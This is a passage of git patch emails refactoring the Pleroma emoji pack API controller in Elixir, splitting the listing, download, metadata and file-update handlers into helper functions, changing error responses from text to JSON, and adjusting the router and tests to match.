- {:ok, flist} = :zip.unzip(pack_arch, [:memory])
+ new_data = Map.put(new_data, "fallback-src-sha256", fallback_sha)
+ update_metadata_and_send(conn, full_pack, new_data, pack_file_p)
+ else
+ {:should_update?, _} ->
+ update_metadata_and_send(conn, full_pack, new_data, pack_file_p)
- # Check if all files from the pack.json are in the archive
- has_all_files =
- Enum.all?(full_pack["files"], fn {_, from_manifest} ->
- Enum.find(flist, fn {from_archive, _} ->
- to_string(from_archive) == from_manifest
- end)
- end)
-
- unless has_all_files do
- {:error,
- conn
- |> put_status(:bad_request)
- |> text("The fallback archive does not have all files specified in pack.json")}
- else
- fallback_sha = :crypto.hash(:sha256, pack_arch) |> Base.encode16()
-
- {:ok, new_data |> Map.put("fallback-src-sha256", fallback_sha)}
- end
- else
- {:ok, new_data}
- end
-
- case new_data do
- {:ok, new_data} ->
- full_pack = Map.put(full_pack, "pack", new_data)
- File.write!(pack_file_p, Jason.encode!(full_pack, pretty: true))
-
- # Send new data back with fallback sha filled
- conn |> json(new_data)
-
- {:error, e} ->
- e
+ {:has_all_files?, _} ->
+ conn
+ |> put_status(:bad_request)
+ |> text("The fallback archive does not have all files specified in pack.json")
end
end
+ # Check if all files from the pack.json are in the archive
+ defp has_all_files?(%{"files" => files}, flist) do
+ Enum.all?(files, fn {_, from_manifest} ->
+ Enum.find(flist, fn {from_archive, _} ->
+ to_string(from_archive) == from_manifest
+ end)
+ end)
+ end
+
+ defp update_metadata_and_send(conn, full_pack, new_data, pack_file_p) do
+ full_pack = Map.put(full_pack, "pack", new_data)
+ File.write!(pack_file_p, Jason.encode!(full_pack, pretty: true))
+
+ # Send new data back with fallback sha filled
+ json(conn, new_data)
+ end
+
@doc """
Updates a file in a pack.
@@ -492,69 +487,63 @@ def update_file(
assumed to be emojis and stored in the new `pack.json` file.
"""
def import_from_fs(conn, _params) do
- case File.ls(@emoji_dir_path) do
+ with {:ok, results} <- File.ls(@emoji_dir_path) do
+ imported_pack_names =
+ results
+ |> Enum.filter(fn file ->
+ dir_path = Path.join(@emoji_dir_path, file)
+ # Find the directories that do NOT have pack.json
+ File.dir?(dir_path) and not File.exists?(Path.join(dir_path, "pack.json"))
+ end)
+ |> Enum.map(&write_pack_json_contents/1)
+
+ json(conn, imported_pack_names)
+ else
{:error, _} ->
conn
|> put_status(:internal_server_error)
|> text("Error accessing emoji pack directory")
+ end
+ end
- {:ok, results} ->
- imported_pack_names =
- results
- |> Enum.filter(fn file ->
- dir_path = Path.join(@emoji_dir_path, file)
- # Find the directories that do NOT have pack.json
- File.dir?(dir_path) and not File.exists?(Path.join(dir_path, "pack.json"))
- end)
- |> Enum.map(fn dir ->
- dir_path = Path.join(@emoji_dir_path, dir)
- emoji_txt_path = Path.join(dir_path, "emoji.txt")
+ defp write_pack_json_contents(dir) do
+ dir_path = Path.join(@emoji_dir_path, dir)
+ emoji_txt_path = Path.join(dir_path, "emoji.txt")
- files_for_pack =
- if File.exists?(emoji_txt_path) do
- # There's an emoji.txt file, it's likely from a pack installed by the pack manager.
- # Make a pack.json file from the contents of that emoji.txt fileh
+ files_for_pack = files_for_pack(emoji_txt_path, dir_path)
+ pack_json_contents = Jason.encode!(%{pack: %{}, files: files_for_pack})
- # FIXME: Copy-pasted from Pleroma.Emoji/load_from_file_stream/2
+ File.write!(Path.join(dir_path, "pack.json"), pack_json_contents)
- # Create a map of shortcodes to filenames from emoji.txt
+ dir
+ end
- File.read!(emoji_txt_path)
- |> String.split("\n")
- |> Enum.map(&String.trim/1)
- |> Enum.map(fn line ->
- case String.split(line, ~r/,\s*/) do
- # This matches both strings with and without tags
- # and we don't care about tags here
- [name, file | _] ->
- {name, file}
+ defp files_for_pack(emoji_txt_path, dir_path) do
+ if File.exists?(emoji_txt_path) do
+ # There's an emoji.txt file, it's likely from a pack installed by the pack manager.
+ # Make a pack.json file from the contents of that emoji.txt fileh
- _ ->
- nil
- end
- end)
- |> Enum.filter(fn x -> not is_nil(x) end)
- |> Enum.into(%{})
- else
- # If there's no emoji.txt, assume all files
- # that are of certain extensions from the config are emojis and import them all
- Pleroma.Emoji.make_shortcode_to_file_map(
- dir_path,
- Pleroma.Config.get!([:emoji, :pack_extensions])
- )
- end
+ # FIXME: Copy-pasted from Pleroma.Emoji/load_from_file_stream/2
- pack_json_contents = Jason.encode!(%{pack: %{}, files: files_for_pack})
-
- File.write!(
- Path.join(dir_path, "pack.json"),
- pack_json_contents
- )
-
- dir
- end)
-
- conn |> json(imported_pack_names)
+ # Create a map of shortcodes to filenames from emoji.txt
+ File.read!(emoji_txt_path)
+ |> String.split("\n")
+ |> Enum.map(&String.trim/1)
+ |> Enum.map(fn line ->
+ case String.split(line, ~r/,\s*/) do
+ # This matches both strings with and without tags
+ # and we don't care about tags here
+ [name, file | _] -> {name, file}
+ _ -> nil
+ end
+ end)
+ |> Enum.filter(fn x -> not is_nil(x) end)
+ |> Enum.into(%{})
+ else
+ # If there's no emoji.txt, assume all files
+ # that are of certain extensions from the config are emojis and import them all
+ pack_extensions = Pleroma.Config.get!([:emoji, :pack_extensions])
+ Pleroma.Emoji.make_shortcode_to_file_map(dir_path, pack_extensions)
end
end
end
From b8a214b0ab264a64ca287e40e99acd401810ef58 Mon Sep 17 00:00:00 2001
From: vaartis
Date: Wed, 11 Sep 2019 15:48:51 +0000
Subject: [PATCH 084/148] Split list_packs
---
.../web/emoji_api/emoji_api_controller.ex | 75 ++++++++++---------
1 file changed, 39 insertions(+), 36 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 0c3da6740..22619f4d7 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -23,47 +23,49 @@ def reload(conn, _params) do
a map of "pack directory name" to pack.json contents.
"""
def list_packs(conn, _params) do
- pack_infos =
- case File.ls(@emoji_dir_path) do
- {:error, _} ->
- %{}
+ with {:ok, results} <- File.ls(@emoji_dir_path) do
+ pack_infos =
+ results
+ |> Enum.filter(&has_pack_json?/1)
+ |> Enum.map(&load_pack/1)
+ # Check if all the files are in place and can be sent
+ |> Enum.map(&validate_pack/1)
+ # Transform into a map of pack-name => pack-data
+ |> Enum.into(%{})
- {:ok, results} ->
- results
- |> Enum.filter(fn file ->
- dir_path = Path.join(@emoji_dir_path, file)
- # Filter to only use the pack.json packs
- File.dir?(dir_path) and File.exists?(Path.join(dir_path, "pack.json"))
- end)
- |> Enum.map(fn pack_name ->
- pack_path = Path.join(@emoji_dir_path, pack_name)
- pack_file = Path.join(pack_path, "pack.json")
+ json(conn, pack_infos)
+ end
+ end
- {pack_name, Jason.decode!(File.read!(pack_file))}
- end)
- # Transform into a map of pack-name => pack-data
- # Check if all the files are in place and can be sent
- |> Enum.map(fn {name, pack} ->
- pack_path = Path.join(@emoji_dir_path, name)
+ defp has_pack_json?(file) do
+ dir_path = Path.join(@emoji_dir_path, file)
+ # Filter to only use the pack.json packs
+ File.dir?(dir_path) and File.exists?(Path.join(dir_path, "pack.json"))
+ end
- if can_download?(pack, pack_path) do
- archive_for_sha = make_archive(name, pack, pack_path)
- archive_sha = :crypto.hash(:sha256, archive_for_sha) |> Base.encode16()
+ defp load_pack(pack_name) do
+ pack_path = Path.join(@emoji_dir_path, pack_name)
+ pack_file = Path.join(pack_path, "pack.json")
- {name,
- pack
- |> put_in(["pack", "can-download"], true)
- |> put_in(["pack", "download-sha256"], archive_sha)}
- else
- {name,
- pack
- |> put_in(["pack", "can-download"], false)}
- end
- end)
- |> Enum.into(%{})
- end
+ {pack_name, Jason.decode!(File.read!(pack_file))}
+ end
- conn |> json(pack_infos)
+ defp validate_pack({name, pack}) do
+ pack_path = Path.join(@emoji_dir_path, name)
+
+ if can_download?(pack, pack_path) do
+ archive_for_sha = make_archive(name, pack, pack_path)
+ archive_sha = :crypto.hash(:sha256, archive_for_sha) |> Base.encode16()
+
+ pack =
+ pack
+ |> put_in(["pack", "can-download"], true)
+ |> put_in(["pack", "download-sha256"], archive_sha)
+
+ {name, pack}
+ else
+ {name, put_in(pack, ["pack", "can-download"], false)}
+ end
end
defp can_download?(pack, pack_path) do
@@ -159,6 +161,7 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
|> Map.get(:body)
|> Jason.decode!()
|> Map.get(name)
+
pfiles = full_pack["files"]
pack_info_res =
From 8790365fef9d5f76b7ac1c94933e2ee218e76285 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Wed, 11 Sep 2019 18:52:21 +0300
Subject: [PATCH 085/148] Remove unused variable
---
lib/pleroma/web/emoji_api/emoji_api_controller.ex | 2 --
1 file changed, 2 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 22619f4d7..8ef6ae71f 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -162,8 +162,6 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
|> Jason.decode!()
|> Map.get(name)
- pfiles = full_pack["files"]
-
pack_info_res =
case full_pack["pack"] do
%{"share-files" => true, "can-download" => true, "download-sha256" => sha} ->
From 8f509e6d1ee8955fc430d1f4ed7929ba0d91177c Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Wed, 11 Sep 2019 18:59:31 +0300
Subject: [PATCH 086/148] Use with w/ pack_info_res
---
.../web/emoji_api/emoji_api_controller.ex | 52 ++++++++-----------
1 file changed, 23 insertions(+), 29 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 8ef6ae71f..9e0ff0b28 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -183,42 +183,36 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
{:error, "The pack was not set as shared and there is no fallback src to download from"}
end
- case pack_info_res do
- {:ok, %{sha: sha, uri: uri} = pinfo} ->
- sha = Base.decode16!(sha)
- emoji_archive = Tesla.get!(uri).body
+ with {:ok, %{sha: sha, uri: uri} = pinfo} <- pack_info_res,
+ %{body: emoji_archive} <- Tesla.get!(uri),
+ {_, true} <- {:sha, Base.decode16!(sha) == :crypto.hash(:sha256, emoji_archive)} do
+ local_name = data["as"] || name
+ pack_dir = Path.join(@emoji_dir_path, local_name)
+ File.mkdir_p!(pack_dir)
- got_sha = :crypto.hash(:sha256, emoji_archive)
+ files = Enum.map(full_pack["files"], fn {_, path} -> to_charlist(path) end)
+ # Fallback cannot contain a pack.json file
+ files = if pinfo[:fallback], do: files, else: ['pack.json'] ++ files
- if got_sha == sha do
- local_name = data["as"] || name
- pack_dir = Path.join(@emoji_dir_path, local_name)
- File.mkdir_p!(pack_dir)
+ {:ok, _} = :zip.unzip(emoji_archive, cwd: to_charlist(pack_dir), file_list: files)
- # Fallback cannot contain a pack.json file
- files = Enum.map(full_pack["files"], fn {_, path} -> to_charlist(path) end)
- # Fallback cannot contain a pack.json file
- files = if pinfo[:fallback], do: files, else: ['pack.json'] ++ files
+ # Fallback can't contain a pack.json file, since that would cause the fallback-src-sha256
+ # in it to depend on itself
+ if pinfo[:fallback] do
+ pack_file_path = Path.join(pack_dir, "pack.json")
- {:ok, _} = :zip.unzip(emoji_archive, cwd: to_charlist(pack_dir), file_list: files)
-
- # Fallback can't contain a pack.json file, since that would cause the fallback-src-sha256
- # in it to depend on itself
- if pinfo[:fallback] do
- pack_file_path = Path.join(pack_dir, "pack.json")
-
- File.write!(pack_file_path, Jason.encode!(full_pack, pretty: true))
- end
-
- conn |> text("ok")
- else
- conn
- |> put_status(:internal_server_error)
- |> text("SHA256 for the pack doesn't match the one sent by the server")
- end
+ File.write!(pack_file_path, Jason.encode!(full_pack, pretty: true))
+ end
+ text(conn, "ok")
+ else
{:error, e} ->
conn |> put_status(:internal_server_error) |> text(e)
+
+ {:sha, _} ->
+ conn
+ |> put_status(:internal_server_error)
+ |> text("SHA256 for the pack doesn't match the one sent by the server")
end
end
From cb125ffaf7f744e60fc134ef6b7b847d3838922a Mon Sep 17 00:00:00 2001
From: vaartis
Date: Wed, 11 Sep 2019 16:00:48 +0000
Subject: [PATCH 087/148] Apply suggestion to
lib/pleroma/web/emoji_api/emoji_api_controller.ex
---
.../web/emoji_api/emoji_api_controller.ex | 34 ++++++++-----------
1 file changed, 15 insertions(+), 19 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 9e0ff0b28..28eaf5ae3 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -124,26 +124,22 @@ def download_shared(conn, %{"name" => name}) do
pack_dir = Path.join(@emoji_dir_path, name)
pack_file = Path.join(pack_dir, "pack.json")
- if File.exists?(pack_file) do
- pack = Jason.decode!(File.read!(pack_file))
-
- if can_download?(pack, pack_dir) do
- zip_result = make_archive(name, pack, pack_dir)
-
- conn
- |> send_download({:binary, zip_result}, filename: "#{name}.zip")
- else
- {:error,
- conn
- |> put_status(:forbidden)
- |> text("Pack #{name} cannot be downloaded from this instance, either pack sharing\
- was disabled for this pack or some files are missing")}
- end
+ with {_, true} <- {:exists?, File.exists?(pack_file)},
+ pack = Jason.decode!(File.read!(pack_file)),
+ {_, true} <- {:can_download?, can_download?(pack, pack_dir)} do
+ zip_result = make_archive(name, pack, pack_dir)
+ send_download(conn, {:binary, zip_result}, filename: "#{name}.zip")
else
- {:error,
- conn
- |> put_status(:not_found)
- |> text("Pack #{name} does not exist")}
+ {:can_download?, _} ->
+ conn
+ |> put_status(:forbidden)
+ |> text("Pack #{name} cannot be downloaded from this instance, either pack sharing\
+ was disabled for this pack or some files are missing")
+
+ {:exists?, _} ->
+ conn
+ |> put_status(:not_found)
+ |> text("Pack #{name} does not exist")
end
end
From f24731788ef9dcbeb29c9dc5db9270a5787caff6 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Wed, 11 Sep 2019 19:01:21 +0300
Subject: [PATCH 088/148] Move emoji pack list from /list to /
---
lib/pleroma/web/router.ex | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index 1252048f0..17f7406fd 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -229,7 +229,7 @@ defmodule Pleroma.Web.Router do
scope "/packs" do
# Pack info / downloading
- get("/list", EmojiAPIController, :list_packs)
+ get("/", EmojiAPIController, :list_packs)
get("/download_shared/:name", EmojiAPIController, :download_shared)
end
end
From 7c784128fd8016e133c59e9c5076fa2d77a9bdee Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Wed, 11 Sep 2019 19:39:47 +0300
Subject: [PATCH 089/148] Change emoji api responses to JSON
---
.../web/emoji_api/emoji_api_controller.ex | 316 ++++++++++--------
test/web/emoji_api_controller_test.exs | 36 +-
2 files changed, 186 insertions(+), 166 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 28eaf5ae3..1c5b7c687 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -6,7 +6,7 @@ defmodule Pleroma.Web.EmojiAPI.EmojiAPIController do
def reload(conn, _params) do
Pleroma.Emoji.reload()
- conn |> text("ok")
+ conn |> json("ok")
end
@emoji_dir_path Path.join(
@@ -133,13 +133,15 @@ def download_shared(conn, %{"name" => name}) do
{:can_download?, _} ->
conn
|> put_status(:forbidden)
- |> text("Pack #{name} cannot be downloaded from this instance, either pack sharing\
- was disabled for this pack or some files are missing")
+ |> json(%{
+ error: "Pack #{name} cannot be downloaded from this instance, either pack sharing\
+ was disabled for this pack or some files are missing"
+ })
{:exists?, _} ->
conn
|> put_status(:not_found)
- |> text("Pack #{name} does not exist")
+ |> json(%{error: "Pack #{name} does not exist"})
end
end
@@ -200,15 +202,15 @@ def download_from(conn, %{"instance_address" => address, "pack_name" => name} =
File.write!(pack_file_path, Jason.encode!(full_pack, pretty: true))
end
- text(conn, "ok")
+ json(conn, "ok")
else
{:error, e} ->
- conn |> put_status(:internal_server_error) |> text(e)
+ conn |> put_status(:internal_server_error) |> json(%{error: e})
{:sha, _} ->
conn
|> put_status(:internal_server_error)
- |> text("SHA256 for the pack doesn't match the one sent by the server")
+ |> json(%{error: "SHA256 for the pack doesn't match the one sent by the server"})
end
end
@@ -228,11 +230,11 @@ def create(conn, %{"name" => name}) do
Jason.encode!(%{pack: %{}, files: %{}})
)
- conn |> text("ok")
+ conn |> json("ok")
else
conn
|> put_status(:conflict)
- |> text("A pack named \"#{name}\" already exists")
+ |> json(%{error: "A pack named \"#{name}\" already exists"})
end
end
@@ -244,10 +246,12 @@ def delete(conn, %{"name" => name}) do
case File.rm_rf(pack_dir) do
{:ok, _} ->
- conn |> text("ok")
+ conn |> json("ok")
{:error, _} ->
- conn |> put_status(:internal_server_error) |> text("Couldn't delete the pack #{name}")
+ conn
+ |> put_status(:internal_server_error)
+ |> json(%{error: "Couldn't delete the pack #{name}"})
end
end
@@ -281,7 +285,7 @@ def update_metadata(conn, %{"pack_name" => name, "new_data" => new_data}) do
{:has_all_files?, _} ->
conn
|> put_status(:bad_request)
- |> text("The fallback archive does not have all files specified in pack.json")
+ |> json(%{error: "The fallback archive does not have all files specified in pack.json"})
end
end
@@ -302,6 +306,25 @@ defp update_metadata_and_send(conn, full_pack, new_data, pack_file_p) do
json(conn, new_data)
end
+ defp get_filename(%{"filename" => filename}), do: filename
+
+ defp get_filename(%{"file" => file}) do
+ case file do
+ %Plug.Upload{filename: filename} -> filename
+ url when is_binary(url) -> Path.basename(url)
+ end
+ end
+
+ defp empty?(str), do: String.trim(str) == ""
+
+ defp update_file_and_send(conn, updated_full_pack, pack_file_p) do
+ # Write the emoji pack file
+ File.write!(pack_file_p, Jason.encode!(updated_full_pack, pretty: true))
+
+ # Return the modified file list
+ json(conn, updated_full_pack["files"])
+ end
+
@doc """
Updates a file in a pack.
@@ -316,157 +339,154 @@ defp update_metadata_and_send(conn, full_pack, new_data, pack_file_p) do
(from the current filename to `new_filename`)
- `remove` removes the emoji named `shortcode` and it's associated file
"""
+
+ # Add
def update_file(
conn,
- %{"pack_name" => pack_name, "action" => action, "shortcode" => shortcode} = params
+ %{"pack_name" => pack_name, "action" => "add", "shortcode" => shortcode} = params
) do
pack_dir = Path.join(@emoji_dir_path, pack_name)
pack_file_p = Path.join(pack_dir, "pack.json")
full_pack = Jason.decode!(File.read!(pack_file_p))
- res =
- case action do
- "add" ->
- unless Map.has_key?(full_pack["files"], shortcode) do
- filename =
- if Map.has_key?(params, "filename") do
- params["filename"]
- else
- case params["file"] do
- %Plug.Upload{filename: filename} -> filename
- url when is_binary(url) -> Path.basename(url)
- end
- end
+ with {_, false} <- {:has_shortcode, Map.has_key?(full_pack["files"], shortcode)},
+ filename <- get_filename(params),
+ false <- empty?(shortcode),
+ false <- empty?(filename) do
+ file_path = Path.join(pack_dir, filename)
- unless String.trim(shortcode) |> String.length() == 0 or
- String.trim(filename) |> String.length() == 0 do
- file_path = Path.join(pack_dir, filename)
-
- # If the name contains directories, create them
- if String.contains?(file_path, "/") do
- File.mkdir_p!(Path.dirname(file_path))
- end
-
- case params["file"] do
- %Plug.Upload{path: upload_path} ->
- # Copy the uploaded file from the temporary directory
- File.copy!(upload_path, file_path)
-
- url when is_binary(url) ->
- # Download and write the file
- file_contents = Tesla.get!(url).body
- File.write!(file_path, file_contents)
- end
-
- updated_full_pack = put_in(full_pack, ["files", shortcode], filename)
-
- {:ok, updated_full_pack}
- else
- {:error,
- conn
- |> put_status(:bad_request)
- |> text("shortcode or filename cannot be empty")}
- end
- else
- {:error,
- conn
- |> put_status(:conflict)
- |> text("An emoji with the \"#{shortcode}\" shortcode already exists")}
- end
-
- "remove" ->
- if Map.has_key?(full_pack["files"], shortcode) do
- {emoji_file_path, updated_full_pack} = pop_in(full_pack, ["files", shortcode])
-
- emoji_file_path = Path.join(pack_dir, emoji_file_path)
-
- # Delete the emoji file
- File.rm!(emoji_file_path)
-
- # If the old directory has no more files, remove it
- if String.contains?(emoji_file_path, "/") do
- dir = Path.dirname(emoji_file_path)
-
- if Enum.empty?(File.ls!(dir)) do
- File.rmdir!(dir)
- end
- end
-
- {:ok, updated_full_pack}
- else
- {:error,
- conn |> put_status(:bad_request) |> text("Emoji \"#{shortcode}\" does not exist")}
- end
-
- "update" ->
- if Map.has_key?(full_pack["files"], shortcode) do
- with %{"new_shortcode" => new_shortcode, "new_filename" => new_filename} <- params do
- unless String.trim(new_shortcode) |> String.length() == 0 or
- String.trim(new_filename) |> String.length() == 0 do
- # First, remove the old shortcode, saving the old path
- {old_emoji_file_path, updated_full_pack} = pop_in(full_pack, ["files", shortcode])
- old_emoji_file_path = Path.join(pack_dir, old_emoji_file_path)
- new_emoji_file_path = Path.join(pack_dir, new_filename)
-
- # If the name contains directories, create them
- if String.contains?(new_emoji_file_path, "/") do
- File.mkdir_p!(Path.dirname(new_emoji_file_path))
- end
-
- # Move/Rename the old filename to a new filename
- # These are probably on the same filesystem, so just rename should work
- :ok = File.rename(old_emoji_file_path, new_emoji_file_path)
-
- # If the old directory has no more files, remove it
- if String.contains?(old_emoji_file_path, "/") do
- dir = Path.dirname(old_emoji_file_path)
-
- if Enum.empty?(File.ls!(dir)) do
- File.rmdir!(dir)
- end
- end
-
- # Then, put in the new shortcode with the new path
- updated_full_pack =
- put_in(updated_full_pack, ["files", new_shortcode], new_filename)
-
- {:ok, updated_full_pack}
- else
- {:error,
- conn
- |> put_status(:bad_request)
- |> text("new_shortcode or new_filename cannot be empty")}
- end
- else
- _ ->
- {:error,
- conn
- |> put_status(:bad_request)
- |> text("new_shortcode or new_file were not specified")}
- end
- else
- {:error,
- conn |> put_status(:bad_request) |> text("Emoji \"#{shortcode}\" does not exist")}
- end
-
- _ ->
- {:error, conn |> put_status(:bad_request) |> text("Unknown action: #{action}")}
+ # If the name contains directories, create them
+ if String.contains?(file_path, "/") do
+ File.mkdir_p!(Path.dirname(file_path))
end
- case res do
- {:ok, updated_full_pack} ->
- # Write the emoji pack file
- File.write!(pack_file_p, Jason.encode!(updated_full_pack, pretty: true))
+ case params["file"] do
+ %Plug.Upload{path: upload_path} ->
+ # Copy the uploaded file from the temporary directory
+ File.copy!(upload_path, file_path)
- # Return the modified file list
- conn |> json(updated_full_pack["files"])
+ url when is_binary(url) ->
+ # Download and write the file
+ file_contents = Tesla.get!(url).body
+ File.write!(file_path, file_contents)
+ end
- {:error, e} ->
- e
+ updated_full_pack = put_in(full_pack, ["files", shortcode], filename)
+ update_file_and_send(conn, updated_full_pack, pack_file_p)
+ else
+ {:has_shortcode, _} ->
+ conn
+ |> put_status(:conflict)
+ |> json(%{error: "An emoji with the \"#{shortcode}\" shortcode already exists"})
+
+ true ->
+ conn
+ |> put_status(:bad_request)
+ |> json(%{error: "shortcode or filename cannot be empty"})
end
end
+ # Remove
+ def update_file(conn, %{
+ "pack_name" => pack_name,
+ "action" => "remove",
+ "shortcode" => shortcode
+ }) do
+ pack_dir = Path.join(@emoji_dir_path, pack_name)
+ pack_file_p = Path.join(pack_dir, "pack.json")
+
+ full_pack = Jason.decode!(File.read!(pack_file_p))
+
+ if Map.has_key?(full_pack["files"], shortcode) do
+ {emoji_file_path, updated_full_pack} = pop_in(full_pack, ["files", shortcode])
+
+ emoji_file_path = Path.join(pack_dir, emoji_file_path)
+
+ # Delete the emoji file
+ File.rm!(emoji_file_path)
+
+ # If the old directory has no more files, remove it
+ if String.contains?(emoji_file_path, "/") do
+ dir = Path.dirname(emoji_file_path)
+
+ if Enum.empty?(File.ls!(dir)) do
+ File.rmdir!(dir)
+ end
+ end
+
+ update_file_and_send(conn, updated_full_pack, pack_file_p)
+ else
+ conn
+ |> put_status(:bad_request)
+ |> json(%{error: "Emoji \"#{shortcode}\" does not exist"})
+ end
+ end
+
+ # Update
+ def update_file(
+ conn,
+ %{"pack_name" => pack_name, "action" => "update", "shortcode" => shortcode} = params
+ ) do
+ pack_dir = Path.join(@emoji_dir_path, pack_name)
+ pack_file_p = Path.join(pack_dir, "pack.json")
+
+ full_pack = Jason.decode!(File.read!(pack_file_p))
+
+ with {_, true} <- {:has_shortcode, Map.has_key?(full_pack["files"], shortcode)},
+ %{"new_shortcode" => new_shortcode, "new_filename" => new_filename} <- params,
+ false <- empty?(new_shortcode),
+ false <- empty?(new_filename) do
+ # First, remove the old shortcode, saving the old path
+ {old_emoji_file_path, updated_full_pack} = pop_in(full_pack, ["files", shortcode])
+ old_emoji_file_path = Path.join(pack_dir, old_emoji_file_path)
+ new_emoji_file_path = Path.join(pack_dir, new_filename)
+
+ # If the name contains directories, create them
+ if String.contains?(new_emoji_file_path, "/") do
+ File.mkdir_p!(Path.dirname(new_emoji_file_path))
+ end
+
+ # Move/Rename the old filename to a new filename
+ # These are probably on the same filesystem, so just rename should work
+ :ok = File.rename(old_emoji_file_path, new_emoji_file_path)
+
+ # If the old directory has no more files, remove it
+ if String.contains?(old_emoji_file_path, "/") do
+ dir = Path.dirname(old_emoji_file_path)
+
+ if Enum.empty?(File.ls!(dir)) do
+ File.rmdir!(dir)
+ end
+ end
+
+ # Then, put in the new shortcode with the new path
+ updated_full_pack = put_in(updated_full_pack, ["files", new_shortcode], new_filename)
+ update_file_and_send(conn, updated_full_pack, pack_file_p)
+ else
+ {:has_shortcode, _} ->
+ conn
+ |> put_status(:bad_request)
+ |> json(%{error: "Emoji \"#{shortcode}\" does not exist"})
+
+ true ->
+ conn
+ |> put_status(:bad_request)
+ |> json(%{error: "new_shortcode or new_filename cannot be empty"})
+
+ _ ->
+ conn
+ |> put_status(:bad_request)
+ |> json(%{error: "new_shortcode or new_file were not specified"})
+ end
+ end
+
+ def update_file(conn, %{"action" => action}) do
+ conn
+ |> put_status(:bad_request)
+ |> json(%{error: "Unknown action: #{action}"})
+ end
+
@doc """
Imports emoji from the filesystem.
@@ -493,7 +513,7 @@ def import_from_fs(conn, _params) do
{:error, _} ->
conn
|> put_status(:internal_server_error)
- |> text("Error accessing emoji pack directory")
+ |> json(%{error: "Error accessing emoji pack directory"})
end
end
diff --git a/test/web/emoji_api_controller_test.exs b/test/web/emoji_api_controller_test.exs
index 8b2a942ce..7942a7b01 100644
--- a/test/web/emoji_api_controller_test.exs
+++ b/test/web/emoji_api_controller_test.exs
@@ -101,14 +101,14 @@ test "downloading shared & unshared packs from another instance via download_fro
}
|> Jason.encode!()
)
- |> text_response(200) == "ok"
+ |> json_response(200) == "ok"
assert File.exists?("#{@emoji_dir_path}/test_pack2/pack.json")
assert File.exists?("#{@emoji_dir_path}/test_pack2/blank.png")
assert conn
|> delete(emoji_api_path(conn, :delete, "test_pack2"))
- |> response(200) == "ok"
+ |> json_response(200) == "ok"
refute File.exists?("#{@emoji_dir_path}/test_pack2")
@@ -130,14 +130,14 @@ test "downloading shared & unshared packs from another instance via download_fro
}
|> Jason.encode!()
)
- |> text_response(200) == "ok"
+ |> json_response(200) == "ok"
assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/pack.json")
assert File.exists?("#{@emoji_dir_path}/test_pack_nonshared2/blank.png")
assert conn
|> delete(emoji_api_path(conn, :delete, "test_pack_nonshared2"))
- |> response(200) == "ok"
+ |> json_response(200) == "ok"
refute File.exists?("#{@emoji_dir_path}/test_pack_nonshared2")
end
@@ -225,15 +225,15 @@ test "when the fallback source doesn't have all the files", ctx do
conn = build_conn()
- assert conn
- |> assign(:user, ctx[:admin])
- |> post(
- emoji_api_path(conn, :update_metadata, "test_pack"),
- %{
- "new_data" => new_data
- }
- )
- |> text_response(:bad_request) =~ "does not have all"
+ assert (conn
+ |> assign(:user, ctx[:admin])
+ |> post(
+ emoji_api_path(conn, :update_metadata, "test_pack"),
+ %{
+ "new_data" => new_data
+ }
+ )
+ |> json_response(:bad_request))["error"] =~ "does not have all"
end
end
@@ -267,9 +267,9 @@ test "updating pack files" do
conn = conn |> assign(:user, admin)
- assert conn
- |> post(emoji_api_path(conn, :update_file, "test_pack"), same_name)
- |> text_response(:conflict) =~ "already exists"
+ assert (conn
+ |> post(emoji_api_path(conn, :update_file, "test_pack"), same_name)
+ |> json_response(:conflict))["error"] =~ "already exists"
assert conn
|> post(emoji_api_path(conn, :update_file, "test_pack"), different_name)
@@ -350,7 +350,7 @@ test "creating and deleting a pack" do
"test_created"
)
)
- |> text_response(200) == "ok"
+ |> json_response(200) == "ok"
assert File.exists?("#{@emoji_dir_path}/test_created/pack.json")
@@ -361,7 +361,7 @@ test "creating and deleting a pack" do
assert conn
|> delete(emoji_api_path(conn, :delete, "test_created"))
- |> response(200) == "ok"
+ |> json_response(200) == "ok"
refute File.exists?("#{@emoji_dir_path}/test_created/pack.json")
end
From 3971bf9c5f00d12a0a2048eb3676069d58a9f243 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Wed, 11 Sep 2019 21:43:16 +0300
Subject: [PATCH 090/148] Change :sha to :checksum
---
lib/pleroma/web/emoji_api/emoji_api_controller.ex | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
